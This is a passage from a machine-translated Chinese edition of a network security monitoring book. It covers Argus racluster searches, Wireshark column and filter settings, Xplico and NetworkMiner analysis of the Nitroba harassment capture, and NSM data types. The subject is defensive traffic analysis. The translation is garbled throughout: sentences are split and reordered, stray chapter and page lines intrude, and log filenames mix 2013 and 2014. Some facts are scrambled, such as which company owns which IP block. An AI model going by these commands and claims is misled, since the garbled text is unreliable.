$ racluster -n -r 2013-02-10.log - tcp and dst port 21 -s stime saddr sport daddr dport sbytes dbytes
StartTime SrcAddr Sport DstAddr Dport SrcBytes DstBytes u 11:10:53.939711 192.168.2.127.60102 202.12.29.205.21 1113 2008
11:11:25.561995 192.168.2.127.50732 192.149.252.20.21 917 1195
11:11:25.806418 192.168.2.127.50734 192.149.252.20.21 979 1198
11:12:07.851453 192.168.2.127.48178 200.3.14.11.21 939 1346
11:12:09.236747 192.168.2.127.48180 200.3.14.11.21 935 1345
第一百三十章
11:12:16.019452 192.168.2.127.41655 193.0.6.140.21 1114 1279
11:12:17.357230 192.168.2.127.41657 193.0.6.140.21 1188 1280
示例 6-30:端口 21 的 Argus Racluster 输出
请注意,Ra 记录中的前三个记录(u、v 和 w)在
示例 6-29 中的记录已经合并为示例 6-30 中的一个记录 u,尽管
当你在 Ra 输出中添加来自相同会话的字节计数时,
你会发现它们与 Racluster 输出中的总字节计数匹配。对于
例如,Ra 输出中到 202.12.29.205 会话的 SrcBytes 计数
输出为 140 + 769 + 204 = 1113,这与 SrcBytes 字段中的值相同
对于会话到 202.12.29.205 的 Racluster 输出。
我经常使用 Argus 与 Racluster 快速搜索大量数据
通过命令行会话数据,特别是用于查找意外条目。
与其搜索特定数据,我告诉 Argus 忽略哪些内容,然后
我查看剩下的内容。
作为示例,我们将通过构建一个相当复杂的 Racluster 来演示
搜索。这将告诉 Racluster 搜索三个 Argus 存档中的 UDP 流量,
但排除端口 53(DNS)、123(网络时间协议,或 NTP)或
主机 192.168.2.120\。
这将需要使用 -m saddr daddr 开关,它告诉 Ra
使用 -s 开关按源和目标 IP 地址分组记录,
它指定了所需的输出字段。两个额外的元素添加了
向报告中的时间戳添加年、月和日。要添加这些内容,首先
创建 /tmp/ra.conf 文件,如示例 6-31 所示,文件中包含一个变量,告诉 Ra 如何显示时间。 (要了解更多关于此格式的信息,请参阅 date 命令的手册页。)
cat /tmp/ra.conf
RA_TIME_FORMAT="%Y-%m-%d %T"
示例 6-31: /tmp/ra.conf 文件的内容
接下来,添加 -s 开关中的 stime 元素,告诉 Ra 提供
打印缓冲区足够大,可以显示整个日期和时间戳。
示例 6-32 汇总了所有这些组件并显示了输出。
$ *racluster -F /tmp/ra.conf -n -r 2014-02-10.log 2013-02-16.log 2014-02-17.log - udp and not * (port 53 or port 123 or host 192.168.2.120) -m saddr daddr -s stime:20 saddr sport daddr dport sbytes dbytes
StartTime SrcAddr Sport DstAddr Dport SrcBytes DstBytes 2013-02-17 13:26:49 192.168.2.114.16403 17.173.254.222.0u 540 540
2013-02-17 13:26:49 192.168.2.114.16403 17.173.254.223.16386 240 240
2013-02-17 13:26:49 192.168.2.114.16403 96.231.180.71.0v 660 0
2013-02-16 20:35:09 192.168.2.115.16403 17.173.254.222.0w 6000 6000
2013-02-16 20:35:09 192.168.2.115.16403 17.173.254.223.16386 2820 2820
2013-02-16 20:35:09 192.168.2.115.16403 96.231.180.71.0x 7740 0
2013-02-10 11:28:29 192.168.2.116.58444 23.23.189.8.0y 534 918
2013-02-10 11:28:29 192.168.2.116.58444 23.23.189.44.33434 382 0
2013-02-17 19:12:09 192.168.2.117.63517 157.56.106.184.3544 2472 3624
命令行数据包分析工具131
2013-02-17 19:12:09 192.168.2.117.63517 157.56.106.185.3544 206 302
2013-02-16 13:37:19 192.168.2.117.0z 157.56.149.60.3544 33372 48169
2013-02-16 13:37:19 192.168.2.117.0{ 157.56.149.61.3544 515 755
列表 6-32:使用 Racluster 查找 UDP 流量,同时忽略端口 53、端口 123 和主机 192.168.2.120
在列表 6-32 中,你会看到目标端口在 u、v 处为 0,
w、x 和 y,并且当源端口为 0 时在 z 和{处。当目的地-
目标端口显示为 0,Racluster 已将多个目标端口聚合到
一个记录。例如,列表 6-33 显示了一个类似的 Racluster 搜索,它
查看涉及 192.168.2.117 作为源 IP 地址的 Argus 记录,并
157.56.149.0/24(意味着任何第四八位是可以接受的)作为目标
网络块。
$ racluster -F /tmp/ra.conf -n -r 2014-02-10.log 2013-02-16.log 2014-02-17.log - src host 192.168.2.117 and dst net 157.56.149.0/24 and udp and not (port 53 or port 123 or host 192.168.2.120) -s stime:20 saddr sport daddr dport sbytes dbytes
StartTime SrcAddr Sport DstAddr Dport SrcBytes DstBytes 2013-02-16 13:37:19 192.168.2.117.64412 157.56.149.60.3544u 20909 30653
2013-02-16 13:37:19 192.168.2.117.64412 157.56.149.61.3544w 412 604
2013-02-17 14:27:57 192.168.2.117.57672 157.56.149.60.3544v 12463 17516
2013-02-17 14:27:57 192.168.2.117.57672 157.56.149.61.3544x 103 151
列表 6-33:使用 Racluster,以 192.168.2.117 作为源 IP 地址,157.56.149.0/24 作为目标网络块
注意,这个输出代表四个不同的连接:两个连接到
157.56.149.60 位于 u 和 v 处,两个连接到 157.56.149.61 位于 w 和 x。当你
使用源 IP 地址汇总结果,如在列表 6-32 中所示,您会失去
这个粒度。
我之前提到过,我喜欢使用 Argus 及其 Ra 或 Racluster 客户端
用来忽略某些流量,然后审查剩下的流量是否存在异常。列表 6-32
包含一些我可以检查以查找可疑或恶意条目的数据。
进行这种类型的审查需要一定的能力来识别网络块和
协议,但它可以产生有趣的结果。
采用网络块方法意味着确定源或目的地-
流量的分类。像 Robtex 网站这样的工具(http://www.robtex.com/)可以
帮助识别网络所有者。例如,列表 6-32 中的流量发送到
17.0.0.0/8 的流量很可能与苹果的协议有关,因为苹果拥有
整个 Class A 网络块。进行类似分析显示微软拥有
157.56.0.0/14 网络块属于亚马逊,23.20.0.0/14 属于 Verizon。
96.224.0.0/11\。
采用协议方法需要查看涉及的协议,
通过解密哪些应用程序使用某些 TCP 或 UDP 端口,来实现这一点。
像 SANS 互联网风暴中心(ISC)端口报告这样的在线资源
(https://isc.sans.edu/portreport.html)提供有关各种 TCP 和 UDP 端口功能的线索。例如,苹果使用端口 3544 UDP 作为
其推送通知服务使用端口 16386 UDP 用于 FaceTime 服务。
许多系统使用基于 UDP 的 Traceroute,端口为 33434\。基于此
132 第六章
知识,我可以确定清单 6-32 中描述的应用程序
这些可能都是良性流量,并且与苹果流量和网络相关
使用 Traceroute 进行工作路径发现。当然,为了牢固地识别
要访问这些会话,我需要其他来源的完整数据或日志
资源。尽管如此,这种方法提供了一种识别有趣活动的方式
以最小的努力实现。
结论
本章从解释 SO 中可用的三种工具类型开始:
用于数据收集、展示和传输的软件。在展示中
分类中,我们找到了数据包分析工具,以及可以工作的应用程序
作为 NSM 控制台的最佳选择。部分数据包分析工具依赖命令
行界面的工具,其他使用图形界面。 本章讨论了
一些用于从命令行操作的包分析数据展示工具
行界面:Tcpdump、Tshark 和 Argus Ra 客户端。你还会看到如何
使用 Dumpcap 配合 Tshark。
在第七章中,我们将看看图形界面数据包分析工具:
Wireshark、Xplico 和 NetworkMiner。你会发现通过 GUI 访问数据包
提供几个明显的优势,包括更多类型的
NSM 数据的
命令行数据包分析工具 133
7
图形数据包
分析工具
第六章介绍了
NSM 工具:数据展示、数据收集-
分类和数据传输。如前所述
本章在数据展示类别中,
有些工具更适合数据包分析,而
其他工具旨在作为 NSM 控制台使用。
第六章集中讲解了数据展示工具
提供通过命令行访问数据包。
本章重点讲解数据包分析工具,它们使分析人员能够
GUI 访问流量。此类工具包括 Wireshark、Xplico 和
NetworkMiner (NM)。所有这些应用程序都随 SO 一起提供,并且可用
可以按需从分发中获取。我们将从最受欢迎的工具开始
这些工具的类型:Wireshark。

使用 Wireshark
Wireshark 是 Wireshark 套件中的主要工具,套件还包括
Tshark 和 Dumpcap。本节重点介绍我使用的 Wireshark 功能
在进行 NSM 操作时最常使用。要了解更多关于
若要了解 Wireshark,请参考一些优秀的相关书籍,如 Laura
Chappell 的作品在http://www.wiresharkbook.com/上。
运行 Wireshark
像 Tcpdump 和 Tshark 一样,Wireshark 操作在完整内容数据上
存储在/nsm/sensor_data/
如第八章所述。
注意
Wireshark 不一定是处理大量完整内容数据的最佳工具,我通常不建议你在分析网络流量时直接加载一个庞大的跟踪文件到 Wireshark 中。相反,使用其他方法识别感兴趣的流量,例如通过查看会话数据,然后仅将 Wireshark 应用于这些流量。
Wireshark 是 SO 中的按需工具,只有在你启动它时才会运行
通过在终端窗口中手动输入wireshark,或通过选择
安全洋葱4Wireshark 从图形界面启动 Wireshark。Wireshark 显示一个启动画面
如图 7-1 所示的屏幕。
图 7-1:默认的 Wireshark 屏幕
136 第七章

在 Wireshark 中查看数据包捕获
要打开一个 pcap 格式的数据包捕获,请按照以下步骤操作:
1. 选择文件4打开,并导航到/nsm/sensor_data/
dailylogs目录。
2. 选择一个YYYY-MM-DD格式的目录,然后选择一个跟踪文件
Wireshark 呈现关于该跟踪的一些基本统计信息。例如
例如,如图 7-2 所示,示例跟踪文件为 11.9MB(显示在大小字段中)。
(列中)包含 19,866 个数据包(显示在数据包字段中)。如你所见
如在第一包字段中看到的,跟踪从 2013-02-10 13:09:28 开始
持续时间为 8 分钟 16 秒(显示在经过时间字段中)。
3. 取消勾选启用 MAC 名称解析和启用传输名称
解析选项,这样你将看到数字而非名称
填写这些字段,然后点击打开。
图 7-2:在 Wireshark 中打开一个跟踪文件
修改默认的 Wireshark 布局
打开跟踪后,Wireshark 的默认布局会显示如图所示的字段。
如图 7-3 所示。这些包括数据包编号、时间戳等信息。
显示时间戳,显示自第一个数据包以来的时间,源和目标 IP
地址、协议以及有关数据包的信息(在信息字段中)。
如果你更喜欢不同的布局,可以更改默认设置,
通过图形界面(GUI)或编辑偏好设置文件。
图形化数据包分析工具137

图 7-3:Wireshark 中的默认列
使用图形界面修改布局
我喜欢一种 Wireshark 布局,它显示绝对的日期和时间,同时
源端口和目标端口号。我们将把该布局设置为
这是如何使用 Wireshark 图形界面修改显示列的示例,以便
更好地显示相关数据包字段。
要更改默认布局设置,请按照以下步骤操作:
1. 选择编辑4首选项4列。
2. 高亮显示时间行。
3. 将字段类型更改为绝对日期和时间。
4. 将源地址字段更改为源地址(未解析),目标地址字段更改为
目标地址字段更改为目标地址(未解析)。
5. 点击添加,然后选择源端口(未解析)。
6. 双击新列字段,将标题条目替换为
源端口。
7. 再次点击添加,并添加目标端口(未解析)。
8. 双击新列字段,将标题条目替换为
目标端口。
9. 要隐藏显示数据包长度(字节)的长度字段,请高亮显示该字段,
高亮该字段并点击删除。
138 第七章

10. 点击并拖动每个新列到显示的位置
图 7-4\。
图 7-4:自定义 Wireshark 布局
11. 点击应用,然后点击确定。
修改首选项文件
如果你更倾向于直接修改屏幕布局,可以编辑
.wireshark/preferences 文件。首先,你需要通过选择编辑4首选项4列4应用4确定来创建此文件,无论是否做出更改。然后你应该能在你的主目录中找到一个 .wireshark/preferences 文件。此文件控制 Wireshark 的列布局,见清单 7-1\。
第二章:数据包列表列格式。
每对字符串由列标题和格式组成。
column.format:
"编号", "%m",
"时间", "%t",
"源", "%s",
"目标", "%d",
"协议", "%p",
"长度", "%L",
"信息", "%i"
清单 7-1:.wireshark/preferences* 文件内容*
图形数据包分析工具 139

关闭 Wireshark 并编辑 .wireshark/preferences 文件,以便它们
如清单 7-2 所示(以粗体显示的为更改部分)。另外,删除
完全隐藏长度字段。
数据包列表列格式。
每对字符串由列标题和格式组成。
column.format:
"编号", "%m",
"时间", "%Yt",
"源", "%us",
"源端口", "%uS",
"目标", "%ud",
"目标端口", "%uD",
"协议", "%p",
"信息", "%i"
清单 7-2:编辑后的.wireshark/preferences* 文件内容*
当你重新启动 Wireshark 并打开一个追踪时,GUI 将显示
列如图 7-5 所示。这是一个来自演示 SO stand- 的追踪,
使用显示过滤器 arp 或 ip.addr==192.168.2.127 来独立运行系统,指示
Wireshark 显示地址解析协议(ARP)帧,或任何涉及 192.168.2.127 的流量\。
流量涉及 192.168.2.127\。
图 7-5:Wireshark 显示新的列首选项和显示过滤器
一些有用的 Wireshark 特性
现在,Wireshark 已经启动并运行,我们将讨论一些我个人
最受欢迎的 Wireshark 特性,包括查看低级协议的能力,
列特性详细介绍。虽然 Tshark 提供了这个功能,但 Wireshark 的
140 第七章

图形化的特性使得跳跃到不同的元素变得更容易。
我也喜欢在 Wireshark 中添加和删除显示过滤器。再一次,
你可以使用 Tshark 完成此操作,但每个新过滤器都需要重新运行 Tshark
再次,Wireshark 中,只需要在 GUI 中应用新过滤器。而且,
Wireshark 提供了控制数据如何解码的功能,跟随
流,并导出对象功能;这些功能帮助分析人员操控
这种流量的处理方式是 Tshark 所不提供的。
详细查看低层协议特征
Wireshark 允许分析人员极其详细地查看低层协议特征
细节。它对协议的深入理解使它能够解码几乎所有
它会解析它遇到的每个字段,前提是流量未加密并且能够识别—
它通过协议解析器对数据进行识别。(如果你遇到加密会话,
Wireshark 提供了一些功能,可以集成加密密钥来
解密流量。)
例如,图 7-6 显示了 ARP 请求消息。仅查看
在底部窗格中查看十六进制和 ASCII 值,你会很难
理解这个帧的所有元素。然而,协议解码
在中间面板中,每个字段都清晰地解释了。无论你选中哪个字段,
中间窗格中的高亮部分对应的十六进制和 ASCII
输出在底部窗格中。
图 7-6:Wireshark 解释 ARP 请求消息。
省略流量以查看残留部分
Wireshark 的另一个特别有用的功能是它能够过滤流量,
流量,帮助你找到感兴趣的残留部分。有时,我会通过告诉—
通过 Wireshark 指定忽略的内容,以便我可以检查剩余的部分。我
图形化数据包分析工具 141

从简单的过滤器开始,查看结果,添加另一个过滤器,再次查看
结果,等等,直到我剩下少量流量进行分析。
例如,列表 7-3 显示了我如何逐步构建一个显示过滤器来
寻找值得注意的流量。
不是 http,也不是 ntp,不是 dns,也不是 tcp.port443,不是 tcp.port80
也不是 icmp,不是 tcp.port==5223,也不是 arp
列表 7-3:Wireshark 中省略流量的显示过滤器
该过滤器省略了以下内容:
• HTTP 流量
• NTP 流量
• DNS 流量
• 任何 TCP 443 端口上的流量
• 任何 TCP 80 端口上的流量
• ICMP 流量
• 任何 TCP 5223 端口上的流量(Apple 推送通知服务)
• 地址解析协议(ARP)流量
结果如图 7-7 所示\。
图 7-7:在应用列表 7-3 中的显示过滤器后剩余的流量
142 第七章

后续流
图 7-7 显示了两组 TCP 流。每组的目标端口是
10002,但一个流的源端口是 60560,另一个是 60563\。
由于两组流交织在一起,跟踪它们有点困难,
发生了变化。这个方法的另一个缺点是我更感兴趣
在对话内容中,而不是逐包列出。这
让我来到 Wireshark 的第三个最喜欢的功能:跟随流。
Wireshark 可以识别流中的所有 TCP 段,重新组装它们
使用特定算法进行解码,并以文本形式呈现结果。这项功能
这种功能使得容易识别对话的目的并判断
它是良性的、可疑的还是恶意的。
要告诉 Wireshark 重新组装 TCP 流,突出显示其中一个
流中的数据包,右键点击并选择跟随 TCP 流,如图所示
在图 7-8 中。
图 7-8: 在 Wireshark 中选择“跟随 TCP 流”
在这个例子中,Wireshark 呈现了图 7-9 所示的流。
顶部的文本显示来自 Web 浏览器的 GET 请求。文本开始于
以 HTTP/1.1 200 OK 开始的文本表示 Web 服务器的回复。
请注意,Web 客户端提到了 Accept-Encoding: gzip, deflate
选项。来自 Web 服务器的回复实际上是 gzip 编码的,但 Wireshark
解压内容并显示明文。我们识别这个流量为 HTTP,
图形化数据包分析工具 143

即使 Wireshark 默认未将其识别为这种方式。(在图中,
我已经从涉及敏感信息的记录中删除了部分内容
此交换中使用的 cookie。)
图 7-9: Wireshark 显示重新组装的 TCP 流。
使用“解码为”设置协议解码方法
在前一节讨论过重新组装流后,Wireshark
将只显示该流中的数据包在主窗口中。要更改
为了改变 Wireshark 看到这些流量的方式,使用“解码为”选项。这告诉
Wireshark 应用某种协议解码方法到特定流量。
作为示例,我们将告诉 Wireshark 将流量视为端口 10002
作为 HTTP。
1. 右键单击要解码的流中的一个数据包,点击
解码为,如图 7-10 所示。
2. 您将看到一个菜单,询问 Wireshark 应解码哪些端口。对于
例如,在 TCP 端口(10002)字段中选择目标(10002)。
3. 滚动右侧列出的协议,找到并选择HTTP。
4. 点击应用。
144 第七章


图 7-10: 选择“解码为”
您将看到 Wireshark 现在理解一个 GET 请求和一个 Web
服务器的回复,如图 7-11 所示。例如,注意帧 11636
现在 11648 被列为 Wireshark 的协议栏中的 HTTP。
图 7-11: Wireshark 将端口 10002 的 TCP 解码为 HTTP。
图形化数据包分析工具 145

跟随其他流
根据协议,Wireshark 还可以跟踪其他类型的流,
如 UDP 或安全套接字层(SSL)等协议。(由于 UDP 不是会话协议,
面向协议的工具,比如 TCP,Wireshark 会根据其最佳评估
UDP 数据包构成了 UDP “会话”。)
此外,Wireshark 还可以从一些流中提取内容,
作为 HTTP 对象、服务器消息块(SMB)对象和数字图像
以及医学图像和通信(DICOM)对象。例如,在
在图 7-9 的底部,我们看到 web 服务器向客户端发送了一个 43 字节的 .gif 文件
web 客户端。我们可以使用 Wireshark 的 HTTP 对象导出功能来
调查此文件。选择 文件4导出4对象4HTTP 来访问此功能。你将看到一个窗口,显示 Wireshark 在追踪中识别的所有 HTTP 对象,包括 HTML 页面、JavaScript、文本、图像等
其他对象。要访问这里感兴趣的数据包,向下滚动到数据包
11648,其中包含 HTTP/1.1 200 OK(GIF89a)消息,如图所示
图 7-12。然后点击 另存为,命名文件并保存。
图 7-12: Wireshark HTTP 对象列表
在查看.gif时,你会发现它是一个 1×1 像素的图像,可能
用于追踪和广告目的。相关的 web 服务器
74.201.145.181 由 OwnerIQ 拥有,详见 http://www.owneriq.com/
被称为“开创所有权概念的广告网络”
146 第七章
定向……我们使广告商能够定义并接触到他们理想的在线消费者。” 这听起来像是可能会部署 1×1 “web
“bug” 图像,用于追踪目的。
正如你所看到的,Wireshark 为我们提供了从一个
数据类型转换时,会对某些协议应用额外的处理
这只是开始!正如我在本书开始时所建议的
如果你想了解更多 Wireshark 的功能,可以阅读专门介绍 Wireshark 的书籍。
使用 Xplico
Xplico(http://www.xplico.org/)是一个开源的网络取证分析
(NFA)工具,能够理解多种网络协议并提取出
识别出它能够识别的信息。
注
Gianluca Costa 和 Andrea De Franceschi 在 GNU General
公共许可证版本 2。
作为一款 NFA 工具,Xplico 最常用于分析保存的追踪文件,来
提取和解读有趣内容,就像我们在本章中所做的那样
例如,Xplico 也可以从网络中嗅探实时流量。不过,
作者不建议在实时接口上运行 Xplico,并表示
这个更多的是用于演示,而不是生产环境。
为了理解 Xplico,我们将使用它来分析可用的网络流量
通过 Digital Corpora 项目(http://www.digitalcorpora.org/)进行。Digital Corpora 是一个由国家科学基金会资助的数字证据集合,由取证专家 Simson Garfinkel 主导。分析师和学生
可以使用 Digital Corpora 项目下载并解读数据
手机、硬盘和网络流量,以学习如何使用
取证工具和技术。
我们将使用捆绑在“Nitroba 大学骚扰”中的 pcap 文件—
“恶意场景”( http://digitalcorpora.org/corpora/scenarios/nitroba-university
-harassment-scenario/) 发布在 http://digitalcorpora.org/corp/nps/packets/
2008-nitroba/nitroba.pcap。该跟踪大约 55MB,包含一个
各种适用于 NSM 和取证审查的网络流量。下载
使用 Xplico 前,请先处理 nitroba.pcap 文件。
运行 Xplico
Xplico 通过网页浏览器进行管理。默认情况下,SO 配置为允许
只允许本地访问 Xplico Web 服务器。远程用户必须通过隧道
通过 OpenSSH 处理流量(如第五章所述)或修改防火墙规则
用于允许远程访问端口 9876 TCP 的数据包。选择最适合您需求的选项。
满足您的需求。
首次访问 Xplico 时,可能会看到类似图中显示的错误。
图 7-13。
图形化数据包分析工具 147


图 7-13:默认情况下,Xplico 并未运行。
该错误意味着虽然 SO 上的 Apache Web 服务器正在提供服务
页面显示,Xplico 服务尚未启动。通过运行以下命令来修复:
如列表 7-4 所示。
$ sudo service xplico start
- 启动 Xplico
修改优先级为 -1 [ 好 ]
列表 7-4:启动 Xplico 服务
现在重新加载网页浏览器并选择语言。接下来,使用
使用用户名xplico和密码xplico进行登录,如图 7-14 所示。
(选择语言更改 URL,但不会显示语言
语言下拉框中的选项。)
图 7-14:登录 Xplico
创建 Xplico 案件和会话
Xplico 将网络流量组织为会话,并将分析会话称为案件。要启动一个新的案件和会话进行分析,请按照以下步骤操作:
1. 选择新建案件,并将默认的数据采集方法保留为
上传 PCAP 捕获文件,如图 7-15 所示。
2. 输入案件名称,然后点击创建。
148 第七章


图 7-15:在 Xplico 中创建新案件
3. 创建新案件后,您应该会在案件列表中看到它。点击
继续输入案件名称。
4. 点击左上菜单中的新建会话链接来创建一个新的会话。
5. 为会话命名,如图 7-16 所示,然后点击创建。
(Xplico 只允许会话名称使用字母数字字符,因此
您不能在名称中使用连字符。)
图 7-16:在 Xplico 中创建新会话
新会话创建后,Xplico 现在已准备好处理网络流量。
流量。
处理网络流量
要处理网络流量,请点击会话名称。您将看到一个
屏幕如图 7-17 所示。因为我们还没有处理
如果尚未处理任何流量,Xplico 将不会显示任何结果。
选择选择文件,浏览到你之前下载的 nitroba.pcap 文件,点击打开,然后点击上传。网页浏览器应报告正在上传文件。一旦文件上传完成,Xplico 会显示
屏幕顶部显示“文件已上传,等待开始解码……”。
可能需要几分钟时间让 Xplico 处理流量,
取决于你的硬件。一旦 Xplico 完成解码
流量,它应该在状态字段中报告解码完成。其主要
屏幕将显示它识别到的各种流量统计信息并进行交互
像图 7-18 所示的伪装内容。
图形数据包分析工具 149


图 7-17:Xplico 会话屏幕
图 7-18:Xplico 已完成解码跟踪文件。
解码流量的理解
到这个时候,分析师可以浏览解码后的流量,查找相关内容
估计。这种调查方法与前面工具的方法不同,
与数据包或会话进行交互。通过 Xplico,分析师可以操作和
浏览提取的内容。
例如,分析师可能想知道视频内容是否已被转移
是否在网页浏览会话中传输的内容。实际上,图 7-18 显示了 1 在
150 第七章


HTTP 部分的摘要屏幕中的视频字段。这意味着 Xplico
从网络流量中提取的视频内容并使其可视化
给用户。要访问内容,请点击左上角的Web链接
Xplico 显示的部分,然后点击接下来的Site链接。
默认情况下,Xplico 会显示最后 16 个网页会话,其中最新的
首先列出,如图 7-19 所示\。
图 7-19:Xplico 的网页会话列表
要访问 Xplico 识别到的视频内容,请点击视频单选框
在屏幕顶部点击按钮,然后点击Go。Xplico 会显示一个链接,指向一个
googlevideo.com 网站,如图 7-20 所示\。
图 7-20:数字语料库跟踪中的一个视频链接
图形数据包分析工具 151


点击右侧的 info.xml 链接可以查看元数据的选项
关于跟踪的信息,以及一个下载 pcap 文件的链接。最有趣的是,点击
图 7-20 中显示的网址,或者链接右侧的灰色框将
打开视频进行查看,如图 7-21 所示。此视频并未被
从网络流式传输;这是从下载的视频的重建
网络流量最初捕获的时间。
图 7-21:重建从网络下载的视频
也可以浏览下载过程中的图像缩略图
正如图 7-22 所示,有人进行了网络追踪捕获。
在 eBay 上购买背包。
图 7-22:重建从网络下载的图像
152 第七章

获取元数据并总结流量
除了重建有趣的内容,Xplico 还提供了一些元数据。
并总结它理解的流量数据。按照以下步骤操作来查看实际情况:
按照以下步骤操作:
1. 在屏幕左上部分的 Graphs 菜单项下,
点击 DNS 链接,告诉 Xplico 显示按排序的 DNS 查询列表。
2. 在屏幕顶部,将出现一个红色、黄色和绿色的饼图图标。
将会显示该图标,点击它以显示一个 DNS 响应的条形图。
在右上角的选项卡中显示主机流行度。
3. 点击 Host Popularity 选项卡查看按 DNS 查询排序的图表。
按频率排序,如图 7-23 所示。
图 7-23:Xplico 根据频率绘制 DNS 查询图。
4. 高亮任意一个条形图以显示查询的主机名和响应。
计数。
Xplico 使得审查在网络追踪中捕获的各种内容变得非常简单。
网络追踪。通过 SO 的 Apache web 服务器发布数据。
作者允许任何具有网页浏览器和认证访问权限的人进行查看。
这个工具真正将 NSM 提取的内容活跃起来。
使用 NetworkMiner 检查内容
NM(http://sourceforge.net/projects/networkminer/)是一个开源的 NFA 工具,也有商业版本。
注释
Erik Hjelmvik 在 GNU 通用公共许可证第 2 版下开发了 NM。
图形化数据包分析工具 153

NM 的商业版本位于 http://www.netresec.com/,支持远程。
通过 Pcap-over-IP,端口独立协议识别抓取数据包。
(PIPI;见 http://taosecurity.blogspot.com/2006/09/port-independent-protocol
.html(关于描述),以及其他功能。捆绑的免费版本。
SO 包含分析师在检查时需要的核心功能。
内容。
在这一部分,我们将看到 NM 如何处理 Digital Corpora 追踪。
如之前在 Xplico 讨论中所述。如果你还没有下载,
已经将 nitroba.pcap 文件加载到 SO 平台上,在继续之前先完成此操作。
运行 NetworkMiner
NM 是一个 Windows 应用程序,但 SO 团队将其配置为在 Microsoft 的 .NET Framework 下运行。
开源的 Mono(http://www.mono-project.com/)实现。
Microsoft 的 .NET Framework。
从 SO 桌面访问 NM,点击蓝白相间的鼠标图标。
图标,接着是Security Onion,最后是NetworkMiner。默认情况下,NM 希望监控一个实时接口来收集流量。要启动分析过程,请选择。
在 NM 中选择 File4Open,然后浏览到 nitroba.pcap 文件的位置。
一旦文件加载完成,NM 应该会显示大量的分析活动。
包括提取内容和解析它找到的所有域名。
如图 7-24 所示。这个过程可能需要一个小时或两个小时
并且会使你的 SO 平台忙碌。
图 7-24:NM 处理 nitroba.pcap 跟踪。
154 第七章

注意
Windows 上的 NM 比 Mono 和 Linux 上的要快得多。你可能希望
将其安装在具有大量内存的 Windows 工作站上,或限制其在 SO
处理较小的跟踪文件。
本节的其余部分专注于如何与相同的
nitroba.pcap 跟踪使用 Windows 版本的 NM,这在功能上
等价于 Linux 上的 NM。
收集和组织流量详细信息
许多分析师开始在 NM 数据的“主机”标签中查看数据,该标签列出了所有 IP
它在网络跟踪中看到的地址,如图 7-25 所示。该
IP 地址 192.168.15.5 在图中高亮显示并展开。
要展开某个 IP 地址的条目,请点击该条目左侧的小框
地址。
图 7-25:NM 提供的 192.168.15.5 IP 地址的元数据
如你所见,尽管 NM 无法识别操作系统,但它
告诉我们,MAC 地址分配给了 TRENDnet,一家网络设备制造商。
工作设备进行交互。涉及的 Universal Plug and Play (UPnP) 查询
MediaRenderer 表明该设备可能是一个视听平台。
IP 地址 192.168.15.4 的详细信息和元数据与
如图 7-26 所示的 192.168.15.5 地址。
图形化数据包分析工具 155


图 7-26:NM 提供的 192.168.15.4 IP 地址的元数据
这个地址的硬件似乎是 Apple 设备。此外,
主机详细信息部分显示了各种网页浏览器的用户代理字符串,
这告诉我们,这个系统比 192.168.15.5 活跃得多,正如
如发送的会话数量(1658)所示。
在主机详细信息部分的底部,显示了在跟踪中观察到的屏幕分辨率,
在 NM 从 Google Analytics 获取的流量捕获期间列出了,
如图 7-27 所示。
图 7-27:NM 列出了 192.168.15.4 的三个屏幕分辨率。
渲染内容
除了收集并组织有关在网络上看到的主机的详细信息外,
NM 提取内容并渲染它以便于查看。图 7-28 显示了一个
示例涉及电子邮件。
156 第七章

图 7-28 中的“消息”标签显示了从 192.168.15.4 发送的电子邮件,
我们在图 7-26 中回顾的 Apple 电脑。一个发送者通过电子邮件
地址 the_whole_world_is_watching@nitroba.org 发送了一封不愉快的电子邮件
发送给 lilytuckrige@yahoo.com 的邮件。现在我们理解为什么这是一封骚扰邮件。
案例。
图 7-28:NM 提取的骚扰邮件
像 Xplico 一样,NM 提取并显示所有捕获的图像,连同
各种其他形式的内容。它比 Xplico 更容易使用,
因为你滚动浏览输出,而不是像使用 Xplico 的 web 服务器那样点击页面。
NM 可以简化提取内容的过程
从网络追踪中批量提取。
结论
本章介绍了三种图形化数据包分析工具:Wireshark、
Xplico 和 NM。Wireshark 无疑是最受欢迎的,支持
适用于成千上万的协议和不断扩展的功能集。较小的—
知名项目如 Xplico 和 NM 更侧重于取证,提供
解析器自动提取内容,并为分析师提供内容概览
网络派生的产物。
选择使用哪种工具取决于调查需求—
方面。当你需要深入理解一个协议时,我推荐
Wireshark。当你想快速概览在
如果是计算机,Xplico 或 NM 可能更为合适。
这些工具各自提供不同的功能,并暴露出各种
各种形式的 NSM 数据。虽然这些工具是分析师工具箱中的强大补充,
在他们的工具箱中,它们并不作为 NSM 控制台使用。第八章结束了数据
通过查看 NSM 控制台 Sguil、Squert 来讨论展示工具
Snorby 和 ELSA。
图形化数据包分析工具 157
8
N S M c o N S o l e S
第六章和第七章讨论了用于数据包
分析。本章介绍了 NSM
控制台,它们是专门为
NSM。像 Tcpdump、Tshark 这样的应用程序,
Wireshark、Xplico 和 NetworkMiner 处理实时
流量或以 pcap 格式保存的流量。当读取
在本章中,你可能会回忆起那些工具的特点,它们具有某些相似性—
和这里讨论的软件有一些相似性。它们中的一些生成会话或
提取的内容数据,例如,或以多种形式呈现数据
单个接口时。第六章中涵盖的工具与第七章中的工具有所不同。
第六章和第七章中讨论的工具和本章中展示的工具的区别在于,NSM 控制台帮助
分析师推动决策过程,而不是故障排除或
取证过程。
此外,NSM 控制台通常不处理原始数据包,无论是
以实时流量或以 pcap 格式保存的流量的形式。所有这些工具在
第六章和第七章包含了让分析师告诉软件
从网络线缆嗅探流量或打开保存的追踪。NSM 控制台则不同,
提供了一个框架和接口来操作和与多个
NSM 数据类型构建的工具,但通常不是通过处理保存的追踪来进行的。这是一个
在某些方面有所限制,因为它将其使用限制于实时操作场景。这并不一定适用于一些商业工具,但
本书的重点是开源软件,配有免费的 SO 分发版
但这类工具的分发版有:Sguil、Squert、Snorby 和 ELSA。
以 NSM 为中心的网络流量分析
我们迄今为止探索的工具会生成一种或多种形式的 NSM 数据。
这里简要回顾一下 NSM 数据类型(在第一章介绍):
完整内容数据 以 pcap 格式存储到磁盘上的网络流量。
提取内容 从网络流量中提取的信息,如
文件或网页。
会话数据 网络对话的高层次摘要,关注
谁和谁进行了交流,何时交流,以及交换了多少信息,
交换。
交易数据 会话数据的一种更细化的形式,暴露
带有请求-回复特性的协议细节,如 HTTP、FTP,
以及 SMTP。
统计数据 描述性信息,刻画网络
活动,如各种对话方面的计数。
元数据 “关于数据的数据”,或是外部信息的集成。
如地理位置或所有权,应用于网络信息。
警报数据 反映是否触发了某种通知。
这是由工具做出的判断,通常是 IDS 关于某些特征的判断
网络流量的特征。
